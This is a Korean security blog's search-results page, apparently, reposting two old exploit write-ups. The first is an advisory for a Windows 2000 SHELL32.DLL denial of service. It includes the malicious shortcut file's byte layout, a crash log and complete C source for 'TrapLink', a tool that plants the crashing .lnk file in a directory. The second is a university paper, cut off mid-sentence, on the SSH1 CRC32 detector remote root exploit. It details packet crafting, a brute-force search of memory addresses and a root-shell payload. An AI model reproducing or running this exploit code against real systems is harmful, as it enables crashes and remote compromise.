Search Results for 'search'

108 posts related to 'search'

2009/09/30 Windows SHELL32.DLL Denial of Service exploit
2009/09/30 SSH1 remote root exploit
2009/09/30 <남해안시대>-①`복합규제에 묶인 `블루오션'(펌)
2009/09/02 윈도우 호스팅 서버 셋팅 주요 사항 1
2009/08/27 ie8 에서 구글 검색 한글로 수정하기
2009/08/27 보안(원문) - SECURING YOUR UNIX SYSTEMS
2009/08/27 웹나이트 설치 후, 반드시 해야 할 일 두 가지
2009/08/26 Malicious Code Injection: It’s Not Just for SQL Anymore
2009/08/26 제로보드 취약점 총정리
2009/08/26 다양한 방법의 XSS 2
2009/08/26 Cookie Sniffing 에 사용될 수 있는 자동 공격 프로그램
2009/08/26 필터를 이용하여 HttpSevletRequest 에 validate를 추가하자!
2009/08/26 구글 코드 서치로 PHP 코드 중 SQL Injection 취약점이 있는 코드를 찾는 키워드
2009/08/25 최신 해킹 동향 및 방어 기술
2009/08/25 Sphinx - PHP 로 커스텀 검색 엔진 구현하기
2009/08/25 악성코드 bluell.cn 의 ip.js
2009/08/17 전화번호(국선/핸드폰) 붙여 있는거 중간에
2009/08/11 Shockwave Exploit
2009/08/10 중복되는 URL을 위해 Canonical Link 요소를 넣어주세요.
2009/08/07 25가지 SQL작성법
2009/08/05 아티보드 2.0 2009년 8월 5일자 버전입니다.
2009/08/01 자주쓰는 자바스크립트 함수 모음
2009/08/01 이클립스에서 ASP 개발하기
2009/07/31 Top 10 윈도 해킹툴
2009/07/16 Milw0rm 사이트에 올려진 MSSQL Injection 공격 기법에 대한 페이퍼
2009/07/16 구글의 모든 URL 은 원하는 인코딩으로 받아올 수 있습니다.
2009/07/16 내 블로그 검색에 오픈 소스 검색엔진을 붙여보자!
2009/07/16 플래시 포토 갤러리 23가지 모음-Flash Photo Gallery
2009/07/16 jquery 플러그인 링크
2009/07/16 jQuery PlugIn 링크 모음

Windows SHELL32.DLL Denial of Service exploit

해킹&보안/해킹팁 | 2009/09/30 21:45

###########################################################################################

~ I2S LAB Security Advisory ~

###########################################################################################
http://www.I2S-LAB.com

Date : 12 / 03 / 2003

Affected systems : Microsoft Windows 2000 SP4 and below

Vendor : http://www.microsoft.com

Issue : Attackers can turn a media (directory, drive, mail, ...) into a remote bomb crashing any application
which would try to acces it using SHELL32.DLL library (explorer, IE, outlook).

Description
___________

SHELL32.DLL is a library which contains windows system functions used to open web pages, documents and
obtain informations on file associations.

That library is used by most standard applications to browse directories to search for a specific file
(a perfect example being the FILE->Open menu command available in most applications).

Technical Details
_________________

As a user browses through his hard-drive, Windows automatically analyses every file of the current directory,
so as to allow the system to display the matching icon as well as file informations.

When Windows must analyse a shortcut (*.lnk), the system determines the properties of the file indicated by the link
using its structure (see: The Windows Shortcut File Format at http://www.I2S-LAB.com/Papers/The_Windows_Shortcut_File_Format.pdf).

Here is the structure of a windows link as we have designed it:

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
+-------------------------------------------------------------------+
| Shortcut HEADER |
+-------------------------------------------------------------------+
00000000 4C00 0000 L... 'L' Magic value

00000004 0114 0200 .... GUID of shurtcut files
00000008 0000 0000 ....
00000008 C000 0000 ....
00000010 0000 0046 ...F

00000014 8900 0000 .... Flag

00000018 2000 0000 ... File attribute

0000001C A0C3 D5A8 .... Time 1
00000020 478E C301 G...

00000024 A0C3 D5A8 .... Time 2
00000028 478E C301 G...

0000002C A0C3 D5A8 .... Time 3
00000030 478E C301 G...

00000034 0000 0000 .... File length (here 0 bytes)
00000038 0000 0000 .... Icone number (no icon for us)
0000003C 0100 0000 .... Normal window
00000040 0000 0000 .... shortcut (no)
00000044 0000 0000 .... unknow/reserved
00000048 0000 0000 .... unknow/reserved

+-------------------------------------------------------------------+
| Item Id List |
+-------------------------------------------------------------------+

0000004C 4600 F. Size of item id list

+-------------------------------------------------------------------+
| First item |
+-------------------------------------------------------------------+

0000004E 1400 .. Lenght of first item
00000050 1F50 .P ???
00000052 E04F D020 .O. File lenght
00000056 EA3A 6910 .:i. ???

+-------------------------------------------------------------------+
| data... |
+-------------------------------------------------------------------+

0000005A A2D8 0800 2B30 309D 1900 2343 3A5C 0000 ....+00...#C:..
0000006A 0000 0000 0000 0000 0000 0000 0000 0051 ...............Q
0000007A 8417 0032 0000 0000 0049 2F87 4B20 006B ...2.....I/.K .k
0000008A 7574 2E74 7874 0000 ut.txt..

+-------------------------------------------------------------------+
| vulnerable bytes |
+-------------------------------------------------------------------+

00000092 0000 0900 .... name lenght
00000096 2E00 ..

00000098 5C00 6B00 7500 7400 2E00 7400 7800 7400 .k.u.t...t.x.t. name in wide char `

+-------------------------------------------------------------------+
| data... |
+-------------------------------------------------------------------+

000000A8 6000 0000 0300 00A0 5800 0000 0000 0000 `.......X.......
000000B8 6932 732D 7732 6B00 0000 0000 0000 0000 i2s-w2k.........
000000C8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000D8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
000000E8 6EA1 E9B2 1B23 6B46 B804 8E43 F338 56F0 n....#kF...C.8V.
000000F8 0EDC EB90 A1F8 D711 A41B 00EE B000 DAC9 ................
00000108 0000 0000 00 .....

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

If we modify the name length at the offset 0x92, SHELL32.DLL will cause an access violation error,
because text was about to be written outside of the the buffer allocated on the heap for this operation.

demonstration
_____________

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:>mkdir crash-test

C:>TrapLink.exe c:crash-test
################################
TrapLink SHELL32.dll DoS exploit
################################
By I2S-LAB Team.

http://www.I2S-LaB.com

c:crash-test is now trapped with a malicious LNK file

C:>start explorer.exe c:crash-test

(618.408): Access violation - code c0000005 (!!! second chance !!!)

eax=0013ffe0 ebx=70c18871 ecx=00003ee0 edx=00012eba esi=0012a000 edi=00143318
eip=77583411 esp=03e5ea8c ebp=03e5eab8 iopl=0 nv up ei pl nz ac pe cy
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000213

*** ERROR: Symbol file could not be found.
Defaulted to export symbols for C:WINNTsystem32SHELL32.dll - SHELL32!Ordinal18+0x25:
77583411 f3a5 rep movsd ds:0012a000=???????? es:00143318=00000065

775833ff e89effffff call SHELL32!Ordinal196 (775833a2)
77583404 85c0 test eax,eax
77583406 7412 jz SHELL32!Ordinal18+0x2e (7758341a)
77583408 8bcf mov ecx,edi
7758340a 8bf8 mov edi,eax
7758340c 8bd1 mov edx,ecx
7758340e c1e902 shr ecx,0x2
77583411 f3a5 rep movsd ds:000f8000=???????? es:00107040=00000000 <-- crash
77583413 8bca mov ecx,edx
77583415 83e103 and ecx,0x3
77583418 f3a4 rep movsb
7758341a 5f pop edi
7758341b 5e pop esi
7758341c c20400 ret 0x4

Exploits
________

/****************************************
* TrapLink for SHELL32.DLL DoS Exploit *
****************************************
Discovered & coded by I2S-LaB

________________________________________

URL : http://www.I2S-LaB.com
MAIL: contact[at]I2S-LaB.com
________________________________________

*****************************************/

#include <windows.h>

void main (int argc, char *argv[])
{

HANDLE TrapFile;
DWORD NumberOfBytesWritten;
unsigned char LnkCrash[] =

"x4Cx00x00x00x01x14x02x00x00x00x00x00xC0x00x00x00"
"x00x00x00x46x89x00x00x00x20x00x00x00xA0xC3xD5xA8"
"x47x8ExC3x01xA0xC3xD5xA8x47x8ExC3x01xA0xC3xD5xA8"
"x47x8ExC3x01x00x00x00x00x00x00x00x00x01x00x00x00"
"x00x00x00x00x00x00x00x00x00x00x00x00x46x00x14x00"
"x1Fx50xE0x4FxD0x20xEAx3Ax69x10xA2xD8x08x00x2Bx30"
"x30x9Dx19x00x23x43x3Ax5Cx00x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x00x51x84x17x00x32x00x00"
"x00x00x00x49x2Fx87x4Bx20x00x6Bx75x74x2Ex74x78x74"
"x00x00xFFxFFx09x00x2Ex00x5Cx00x6Bx00x75x00x74x00"
"x2Ex00x74x00x78x00x74x00x60x00x00x00x03x00x00xA0"
"x58x00x00x00x00x00x00x00x69x32x73x2Dx77x32x6Bx00"
"x00x00x00x00x00x00x00x00x6ExA1xE9xB2x1Bx23x6Bx46"
"xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
"xA4x1Bx00xEExB0x00xDAxC9x6ExA1xE9xB2x1Bx23x6Bx46"
"xB8x04x8Ex43xF3x38x56xF0x0ExDCxEBx90xA1xF8xD7x11"
"xA4x1Bx00xEExB0x00xDAxC9x00x00x00x00";

printf ("################################n"
"TrapLink SHELL32.dll DoS exploitn"
"################################n"
"By I2S-LAB Team.nn"
"http://www.I2S-LaB.comnn" );

if (!argv[1])
printf ("Usage : TrapLink <path to trap>n", argv[0]);

else
{
if ( !SetCurrentDirectory(argv[1]) )
printf ("Error : %s is not a valid directory to trapn", argv[1] );
else
{
TrapFile = CreateFile("I2S-Crash.lnk",
GENERIC_WRITE, 0,
NULL, CREATE_ALWAYS,
FILE_ATTRIBUTE_NORMAL, NULL );

if (TrapFile == INVALID_HANDLE_VALUE)
printf ("Error : cannot create malicious file.n");

else
{
WriteFile (TrapFile, LnkCrash, sizeof (LnkCrash), &NumberOfBytesWritten, NULL);
printf ("%s is now trapped with a malicious LNK filen", argv[1] );
}
}
}
}

Solution
________

Microsoft was notified on 11/17/2003 and have agreed to fix this as part of the next service pack.

credits
_______

Aur?ien BOUDOUX - aurelien[at]I2S-LaB.com
Fred CHAVEROT - fred[at]I2S-LaB.com

No trackbacks, No comments.

SSH1 remote root exploit

해킹&보안/해킹팁 | 2009/09/30 21:44

SSH1 remote root exploit
sshd CRC32 compensation attack detector vulnerability explained

March 26, 2002

Korpinen Pekka, 48179S
pkorpine@cc.hut.fi
Department of Electrical Engineering

Lyytikäinen Kalle, 47992V
kalyytik@cc.hut.fi
Department of Computer Science

Helsinki University of Technology

This paper is an analysis of a security weakness in many SSH1 server implementations. Ssh servers introduced a detection mechanism against CRC32 compensation attack. this detection function includes a design fault which enables remote hosts to write arbitrary values to server memory. The authors reverse engineered a proprietary exploit implementation and wrote their own implementation of the exploit. This paper describes the vulnerability, the exploitation process, the author's exploit implementation, and means for protecting hosts against this attack. This paper is also a project for the course 'Tik-110.452 Tietojärjestelmien käytännön turvallisuuden erikoiskurssi' at Helsinki University of Technology.
0 Table of Contents
1 Introduction - SSH protocol
2 Vulnerability in SSH1.5
2.1 Buffer overflow
2.2 Preconditions - Affected ssh daemons
2.3 Linux memory layout
3 Exploits
3.1 First incidents
3.2 Problems
3.3 Available implementations
3.4 Shellcode
4 Our exploit
4.1 Goals
4.2 Resources
4.3 Process
4.3.1 Reverse Engineering
4.3.2 Packet sending
4.3.3 Finding distance to 'buf'
4.3.4 Finding distance to kernel space
4.3.5 Sending shellcode
4.3.6 Executing shellcode
4.4 Using exploit
4.5 Advantages and Disadvantages
5 Counter actions
5.1 Detecting attacks
5.2 Required actions after being attacked
5.3 Preventive actions
6 References
7 Appendices
7.1 Shellcode
7.2 Exploit usage
7.3 Source code files for the exploit
7.3.1 packet.diff
7.3.2 uxp2.c

1 Introduction - SSH protocol
The SSH (Secure Shell) protocol provides a standardized way to communicate on a secured channel. All communications between SSH client and SSH daemon are encrypted. The encryption is done using a symmetric cipher (DES, 3DES and Blowfish, for example). The encryption key is exchanged at the beginning of the connection using RSA keys.

The (SSH) client creates a connection to the (SSH) server which is listening on a specific port, usually 22. The server accepts the connection and responds by sending back its version identification string. The client sends its own identification. After both sides have been identificated they switch to a packet based binary protocol. The server sends its host key. The host key is a unique RSA key used to authenticate the host and it is regenerated every hour. The client generates a 256 bit session key, encrypts it using both RSA keys, and sends the encrypted session key and selected cipher type to the server. Now both sides turn on encryption using the selected encryption algorithm and key. Finally the server sends an encrypted confirmation message. At this point the channel is secured. The client then tries to authenticate itself using any of the available authentication methods (password, RSA authentication etc). After successful authentication, the client can allocate a pseudo tty, start port forwarding, or execute a shell command [23].

When the client or the server receives an encrypted packet, it checks if the packet is tampered with using the crc32 compensation attack detector. The detection algorithm checks the packet before it is parsed in any way. The first case when this algorithm is used is when the client sends its authentication request.

Maximum packet length is about 256k bytes.

2 Vulnerability in SSH1.5
The crc32 compensation attack detector in various SSH versions has a bug that allows an evil attacker to write to memory locations on the server side. If the packets are smartly constructed, they may allow code to be executed on the server side. Because the server is usually being run under the root account, this vulnerability gives the attacker root access to the host.

The memory writing and running a code on the host can be inspected as the casual buffer overflow exploits even though in this case the buffer overflow is not such straightforward to do as usually.

2.1 Buffer overflow
Buffer overflow exploits are based on the fact that the return address of currently running function is kept on the stack. When a function wants to make a function call, it pushes its current instruction pointer to the stack (among other possible data) and jumps to the address of the callee. When the callee reaches it's end (e.g. return-clause in C) it retrieves the stored instruction pointer from the stack and makes a jump to it. Now the caller can continue it's execution. If the return address is manipulated during the execution of the callee, the point of execution is transferred to a different location when the callee returns. This makes the running of inserted code possible.

If we are inserting data on a statically allocated buffer we must be sure that the buffer can hold the all data (e.g. strlen(data) < strlen(buffer)). Usually progammer's won't check the length of the source because they are making assumptions of the length. If the source's length is greater than the buffer size, the buffer is overflown. Because the statically allocated buffers are usually kept on the stack, this allows the source data to overwrite the return address.

[Example:] If a program has a buffer, say 128 bytes in length. The program reads an argument from the command-line. The argument is supposedly be a password, so the 128 bytes is surely enough - no need to check. The main function calls a subfunction with the command line parameter as an in-argument. The subfunction has the mentioned buffer and it simply copies the argument to the buffer (without length checking!). This works ok if the source length is below 128 bytes. An evil attacker could overflow the buffer easily because of the lack of checks. He runs the program with an argument that is longer than 128 bytes. This causes the buffer to overflow.

The argument:
[NNNNNNNNNSSSSSSSSSSSJJJJJJJJJJJJJJJJJJJJJJJ]
The buffer in the stack with the return address:
[xxxxxxxxxxxxxxxxxxxxxxx]....[RET]...
The buffer after overflow:
[NNNNNNNNNSSSSSSSSSSSJJJ]....[ J ]...
The return address is overwritten with a value J. The specific location of the return address is unknown to the attacker. He can make a so-called NOP sled (marked as N) before the actual shellcode (S). NOP is a special instruction that doesn't do anything. In this way, the jump can be a guess and if the jump lands on the NOP sled, it slides to the beginning of the actual shellcode.

When the sub-function is ready to return (and when the return address is accidentally overwritten!), the program jumps to the address specified on the return address field in the stack. The point of execution is now pointing on the NOP sled and the shellcode is executed. The shellcode can now for example open a new shell or a telnetable back port on the host. This is all done on the same account as the program was run. [End of example] [1]

2.2 Preconditions - Affected ssh daemons
The following versions are reported to be vulnerable:
SSH-1.5-1.2.24 .. 31
SSH-1.5-1.3.6 .. 10
SSH-1.5-1.3.6
SSH-1.5-OpenSSH-1.2
SSH-1.5-OpenSSH-1.2.1
SSH-1.5-OpenSSH-1.2.2
SSH-1.5-OpenSSH-1.2.3
SSH-1.99-2.0.11 (with Version 1 fallback)
SSH-1.99-2.0.12 (with Version 1 fallback)
SSH-1.99-2.0.13 (with Version 1 fallback)
SSH-1.99-2.1.0.pl2 (with Version 1 fallback)
SSH-1.99-2.1.0 (with Version 1 fallback)
SSH-1.99-2.2.0 (with Version 1 fallback)
SSH-1.99-2.3.0 (with Version 1 fallback)
SSH-1.99-2.4.0 (with Version 1 fallback)
SSH-1.99-3.0.0 (with Version 1 fallback)
SSH-1.99-3.0.1 (with Version 1 fallback)
SSH-1.5-OpenSSH-2.1
SSH-1.5-OpenSSH_2.1.1
SSH-1.5-OpenSSH_2.2.0
SSH-1.5-OpenSSH_2.2.0p1
One can check the vulnerability by sending a long enough login name with a client (Note. newest clients check the length by themselves). If the server just crashes, the server is vulnerable. Long enough is 88 000 characters.

There also exists a perl script that does the checking automatically. [2]

2.3 Linux memory layout
The linux memory layout is in crucial role in this exploit. One must know something about the architecture. The figure below shows the general layout of the memory seen by an user process:

top of memory
0xffff ffff ____________________
   | |
   | KERNEL | No read/write
   |____________________|
0xc000 0000 | |
   | STACK | read/write
   |____________________|
   | |
   | LIBRARIES |
0x4000 0000 |____________________|
   | |
   | HEAP | read/write (malloc)
   |____________________|
   | |
   | BSS | read/write
   |____________________|
   | |
   | DATA | read/write
   |____________________|
   | |
   | TEXT (aka CODE) | read, no write
0x0800 0000 |____________________|
   | |
   | KERNEL | No read/write
   |____________________|
0x0000 00000
bottom of memory
The addresses are in the absolute form. The stack grows down (i.e. to smaller addresses) and heap grows up. Dynamically allocated arrays are created on heap (size < 128kB, address are form of 0x080x xxxx) or on the library area (size > 128kB, address are form of 0x400x xxxx). The addresses of specific variables and functions during the run may vary a bit from host to host but the addresses mentioned on the figure are constants.

On linux process's memory map can be seen by running cat /proc//maps. It displays addresses, sizes, attributes (read, write, execute), and the sources of loaded programs and libraries. The readelf utility can be used to see how the linker has organized the objects. [3] [4]

3 Exploits
The exploit is based entirely on the detect_attack() function in the SSH implementation. The function should detect the crc32 compensation attack but it introduces another security vulnerability.

Critical parts of the detect_attack() function:

--------------------------------------------------------
int detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
   ..
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
register u_int32_t i, j;
u_int32_t l;
   ..
#1 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;

if (h == NULL) {
debug("Installing crc compensation attack detector.");
#2 n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
   ..
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
#3 for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
   i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
#4 } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
#5 h[i] = j;
}
return (DEATTACK_OK);
}
--------------------------------------------------------
The function is called after each received SSH packet. The 'buf' argument is the buffer where incoming (encrypted) packet's payload is located, 'len' is the length of the buffer (note: the length is delivered on the ssh-packet, so the actual buffer could be longer). The 'IV' is always NULL.

The problem resides on the #2 where a 32-bit integer ('l') is assigned on a 16-bit integer ('n'). If the lower word of the 'l' is zero, the 'n' is assigned to zero. The 'l' is calculated on #1, and is dependant on the 'len' variable. If the 'len' is bigger than about 88000, the 'n' is set to zero.

Then the 'h' is allocated with call to malloc and the requested becomes to zero because n==0. The allocated size is the minimum allocation block. This is 12 bytes in current linux platforms.

The outer for-loop (near #3) goes through the whole packets. The variable 'j' is the block number (blocks are 8 bytes long). On #3 the HASH()-macro gets the first 32-bits from the current block. Because the 'n' is zero the (n-1)-clause is evaluated as 0xffff. So, the variable 'i' has the first 32-bits of the current block.

On #5 is the assignment operation. This is where the memory can be written. The 'h' is the pointer to 16-bit values. So the "h[i] = j" clause can be expressed also with byte pointers *(h+2*i) = j Thus, the value of 'j' (the current block number) is written to a specific distance from the 'h'. Because the value of 'i' is fetched from the packet and the 'j' is the block number, the 'i' can be used as a offset value and the placement of the 'i' can be used as the value that is written to the memory.

The following figure hopefully clears the idea:

block incoming packet
number ('buf')
('j')
   ___________________
0000 | 00000000 xxxxxxxx |
0001 | 00000000 xxxxxxxx |
0002 | 00000000 xxxxxxxx |
0003 | 00000000 xxxxxxxx |
0004 | 00000000 xxxxxxxx |
0005 | 00000000 xxxxxxxx |
0006 | beefcafe xxxxxxxx |
....
0332 | 00000042 xxxxxxxx |
....
For example, on the 6th block:

j = 6
i = 0xbeefcafe
So, the following assignment is done:

h[i] = j; ===> h+2*i = j; ===> h+2*0x1234abcd = 6;
And on the 332th block:
j = 332
i = 0x42
h[i] = j; ===> h+2*i = j; ===> h+2*0x00000123 = 332;
Notes to remember: The value in the packet means the offset (multiplied by 2) from the address of 'h' and the place where the value is located means the value to be stored in memory [5].

The shellcode insertion is done basically with a packet like this (knowledge of the exact parameters is required):

___________________
0000 | xxxxxxxx ffffffff |
   | .... |
   | ZZZZZZZZ xxxxxxxx | WRITE THE VALUE TO EIP
   | .... |
   | ZZZZZZZZ xxxxxxxx | WRITE THE NEW VALUE TO EIP
   | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN START
   | .... |
   | xxxxxxxx xxxxxxxx | CRC32 ATTACK PATTERN END
   | 90909090 90909090 | NOP SLED
   | .... |
   | xxxxxxxx xxxxxxxx | SHELL CODE
   |___________________|
xxxxx =
ZZZZZZZZ = (offset to the high word of the stored instruction pointer)/2,
XXXX = value of the instruction pointer (high word)
YYYY = where to jump (high word, low word stays the same)
3.1 First incidents
The vulnerability was announced on February 8th 2001. It was discovered by Michal Zaleski of the BindView RAZOR Team. [6] [7]

Even thought the vulnerability was discovered early, many site administrators didn't update their SSH daemons. The experts assumed that the possibility of the exploit were ridiculously small and that there will not be any working mass exploit engines. They were wrong. The incident below is one of the first incidents that were analysed. It clearly shows that the exploit can be used. The rumour says that the big finnish hack incidents on winter 2001-2002 were also done by using this exploit.

"On October 6, 2001, intruders originating from network blocks in the Netherlands used an exploit for the crc32 compensation attack detector vulnerability to remotely compromise a Red Hat Linux system on the UW network running OpenSSH 2.1.1." This vulnerability is described in CERT Vulnerability note VU#945216 [6]:

Once in the system, a series of operating system commands were replaced with trojan horses to provide back doors for later entry and to conceal the presence of the intruders in the system. A second SSH server was run on a high numbered port (39999/tcp). The system was then used for broad scanning (outbound from the UW network) to identify more systems running OpenSSH 2.1.1, some of which were then attacked manually." [8] [9]

3.2 Problems
As one can see after examining the detect_attack() function, the hardest problem in exploiting is the addresses of critical variables and the address of the return pointer.

A successful exploit must guess the following parameters (or some parameters that the following can be calculated from):

distance between 'h' and 'buf'
distance between 'h' and the return address on the stack
the value of the return address (higher word enough)
the absolute address of 'buf'
With these parameters the exploit is somewhat straighforward. Educated guesses can be made with the knowledge of the host (operating system, processor, linux distribution, kernel version etc). This information should be easy to gather using automated tools. The attacker could for example get the version strings of mail, ftp, http, ssh, imap, and pop servers and compare them with the default versions of some distributions. This way he can get the same SSHD daemon and maybe try it on his lab.

Part of the parameters can be find using brute force methods. The buffer 'buf' can be found using a packet that writes to a specific region of memory. Making a educated guess of the boundaries where the buffer is located and starting to write from there. If the server dies (client sees connection closing), the algorithm should change the address and start again. The server dies because of segmentation fault (i.e. writing to a read-only memory etc). If the server reports something like "invalid bytes on packet", the writing was successful and the buffer is located (on high probability).

3.3 Available implementations
The implementations of this exploit are not easy to get. We were able to find a binary exploit called shack. This can be downloaded from [10].

The source code of the binary is not available but an analysis of an attack done with this tool can be read at [11].

The shack tries to locate the parameters using couple binary searches. After it has revealed good enough estimates of memory locations, it starts the bruteforcing. The shellcode of the shack creates a root shell on the host machine and the attacker can use it to install the trojans.

We tried the shack on couple of servers running the same version of OpenSSH. One host was succesfully exploited with this, the other one wasn't. Our exploit worked for both.

Another exploit by zip/TESO should be wondering somewhere, at least there are some analysis about that: [8]

Both of the analysis are concentrated on the network traffic and detection. It is kind of disappointing that nobody has analyzed the exploits in the lower levels, or how it is done.

We used the tcpflow-program to capture the network traffic created by shack. After analyzing the traffic we were able to reverse engineer the code almost completely. The process is documented in Chapter 4 [12].

3.4 Shellcode
Shellcode means the code that the attacker wants to run on a target computer. The code creates a shell hopefully running as root account. One version of shellcode is a portshell. It creates a backdoor that listens some specific TCP port on the target machine. When the attacker telnets to the target to that port, the portshell binds a shell to the tcp stream and the attacker has his own telnet-type access (with root-account!).

The shellcode is typically ran only a few minutes. In that time the attacker tries to install his rootkits and trojans, clears the logs and traces. After that the attacker uses some ordinary access type to get to the host.

Shellcodes are always platform dependant because they are made of assembly instructions. The attacker must know what platform is on the target. Shellcodes usually don't contain any zero bytes because then they couldn't be used with strpcy() functions. For example 'mov eax,0' must be transformed as 'xor eax,eax'. This does the eax clearing but doesn't contain zero when its run through assembler.

A shellcode example (port shell) with sources can be seen at [13]

The Phrack magazine has a great article about shellcodes and buffer overflows: [1]

4 Our exploit
4.1 Goals
The meaning of our exploit project is to hijack a remote host running sshd. this is attempted using sshd's vulnerabilities discussed in Chapter 2. The goal is to be able to access the remote host with root privileges and thereby gain access to all information and controls on the target host.

4.2 Resources
ssh daemon (modified)
We used Openssh-2.2.0p1 as the victim's ssh daemon. This implementation of sshd (protocol version less than 2) was known to be vulnerable to our attack and it was easily available over the Internet. We modified the sshd for the development phase by having it print out important frame and stack information. The stack location information was helpful in fine-tuning function return address overwriting. BSS memory section's location information gave directions to finding our shellcode in memory.

After the exploit application was finished, we restored the sshd to its original state.

ssh client source code
Openssh-2.3.0p1 was used as a platform for our exploit, since we found one occasion where a similar exploit was possible with this version. However, as far as we know, any other ssh client may have been used in our exploit.

In order to have the client to send the encrypted ssh packets of our choice, we modified the client to send exactly those cipherblocks we asked it to. Usually the client takes plaintext from the user and sends its ciphertext over the network. This time we wanted to send specific ciphertext and actually we did not care about the corresponding plaintext.

We let the client do key exchange in the ordinary fashion, but when the ciphering starts and user authentication is about to begin, we send malicious packets to the victim.

Teso/Shack logs & network traffic
We acquired a similar exploit from 'Team Teso', which was successful in running the required shellcode, but only with very good initial guesses for stack and bss section locations. This implementation was very inefficient.

We found another exploit called 'shack' which is related to 'anti.security.is'. This exploit is assumed to be proprietary in the first place and for sale, but it slipped to public. Only the binary of this exploit was available. Although the logs it generates gave us hints what it was doing. Some references call this exploit the Teso-exploit, but we think that it only uses the teso-method to find a critical parameter run-time.

The 'shack' exploit was a black box to us and we conducted extended analysis of the network traffic it generated.

Shellcode
We acquired a shellcode from Anathema anathema@hack.co.za, which was used in our implementation. See appendix 7.1. This implementation will create a socket for enabling remote access, bind the socket to the process, accept connections to port 36864, and execute a shell.
4.3 Process
We created an exploit application for handling the brute force methodology of the exploit. It uses the modified ssh client to try connections to the victim, with certain intelligence. The application generates malicious packets for the victim and lets the modified ssh client send them. Depending on the output of the server, the application makes conclusions on the effects of the malicious packet. The server may return such messages as 'corrupt bytes in packet' or 'CRC32 compensation attack detected'. Although, the most frequent response is a mere connection close since the server crashes often (SEGV). These output strings are analysed and used as directions for next malicious packets. It is very typical that the connection closes after the first cipherpacket, since it is somehow malformed. For example our exploit doesn't consider CRC checksums and therefore the sshd closes the connection. Although, a lot can happen before the connection is closed…

The process itself consists of four phases, of who the last one attempts to run the shellcode.

4.3.1 Reverse Engineering
The shack exploit surprised us with its capability to find out critical addresses concerning the exploit. A utility program called 'tcpflow' and gnu debugger were used to reverse engineer the operation of the shack exploit. Tcpflow is a program which captures entire tcp connections combining all relevant packets together. This tool was crucial in succeeding to make a working exploit.

Hexdump was used to interpret the data in readable format:

hexdump -e '"%07.7_ax " 16/1 "%02x " "n"' -s 0xb8 192.168.001.010.03164-192.168.001.001.02222 | less
Gdb was used to diagnose various erroneous states and in confirming memory address calculations.

4.3.2 Packet sending
We modified the packet.c source file in such a way that the client sends dedicated cipherpackets we ask it to. Packet.c includes a function definition for packet_write_poll() which is used to write the ciphertext to outgoing buffer. Our modified implementation reads the desired cipherpacket from a file '/tmp/exploit_packet' and sends it. These packet files are written by our exploit application.

4.3.3 Finding distance to 'buf'
The first thing that can be calculated in the server's memory addresses is the distance from variable h to variable buf (according to detect_attack() function). The following format of cipherpacket was used to search for the distance from h to buf:

Extract from packet #1:

00000b8 00 00 00 00 ff ff ff ff 00 00 00 01 ff ff ff ff
00000c8 00 00 00 04 ff ff ff ff 00 00 00 05 ff ff ff ff
00000d8 00 00 00 08 ff ff ff ff 00 00 00 09 ff ff ff ff
00000e8 00 00 00 0c ff ff ff ff 00 00 00 0d ff ff ff ff
00000f8 00 00 00 10 ff ff ff ff 00 00 00 11 ff ff ff ff
...
This is the first type of packet that our exploit uses. It consists of 184-byte header and 102400 bytes 8-byte blocks that consist of a small 32-bit number and 0xFFFF. Consecutive packets increase the small numbers. When sshd processes this kind of packet, it will set i to first 32-bits of each 8-byte block (#3 in detect_attack()). It tries to read memory at h[i] on the same line. This read will cause SEGV if i is such an offset to h that the address is not readable. SEGV also happens if buf + h[i] * 8 is unreadable. With this kind of packet, the sshd will practically always SEGV at #4 in detect_attack() when done thousands of times in a row.

The trick is to have i[small number] point always to 0xFFFF. This is same as 'HASH_UNUSED' and the memory read is skipped. The packet contains 12800 small numbers that make h[i] point to a loose array of approximately half the length of the packet. When the first small number in the packet points to the first half of the buffer, each h[i] will have value 0xFF and the memory read is skipped. It would be extremely rare to find such an array in memory in a place other than buf. Binary search is used to find the smallest small number that will not cause SEGV. A hit to buf will cause 'corrupt bytes' response from the sshd.

In the first phase, the small number is increased by packet_length / 4 so that its pointed address h[small number] points packet_length / 2 forward on each packet. This is a fast scan through the memory to find appriximate distance from h to buf. The second phase is a binary search which will find the distance accurately and reliably.

4.3.4 Finding distance to kernel space
The next memory address to find is h-to-kernel_space distance. The reason why we are interested in this distance is that the stack frame of the current process is close to the kernel space i.e. somewhere below address 0xC0000000. The stack frame is of interest since the saved EIP of the parent function is there. See Chapter 2.3. In this phase, we use a dedicated type of ssh-cipherpacket to test if h[i] is readable (#3 in detect_attack()) and small enough that 'buf + h[i] * SSH_BLOCKSIZE' is readable (#4 in detect_attack()). The stack area contains such small numbers. This packet type uses this test only once - at 0x5BFC4280 in the packet hexdump extract below. We want to test one address only and exit the process as quickly as we can. The pattern of '0x00002860 0100FFFF's is a tell-tale sign for the sshd that this packet uses CRC32 compensation attack. We want the sshd to think like this in order to close the connection right away and speed up the process. On the other hand we can now distinguish between SEGV while processing the first 8-byte ssh block and CRC32 compensation attack detected while processing the second block. This will let the attacker know if the sshd could read memory at 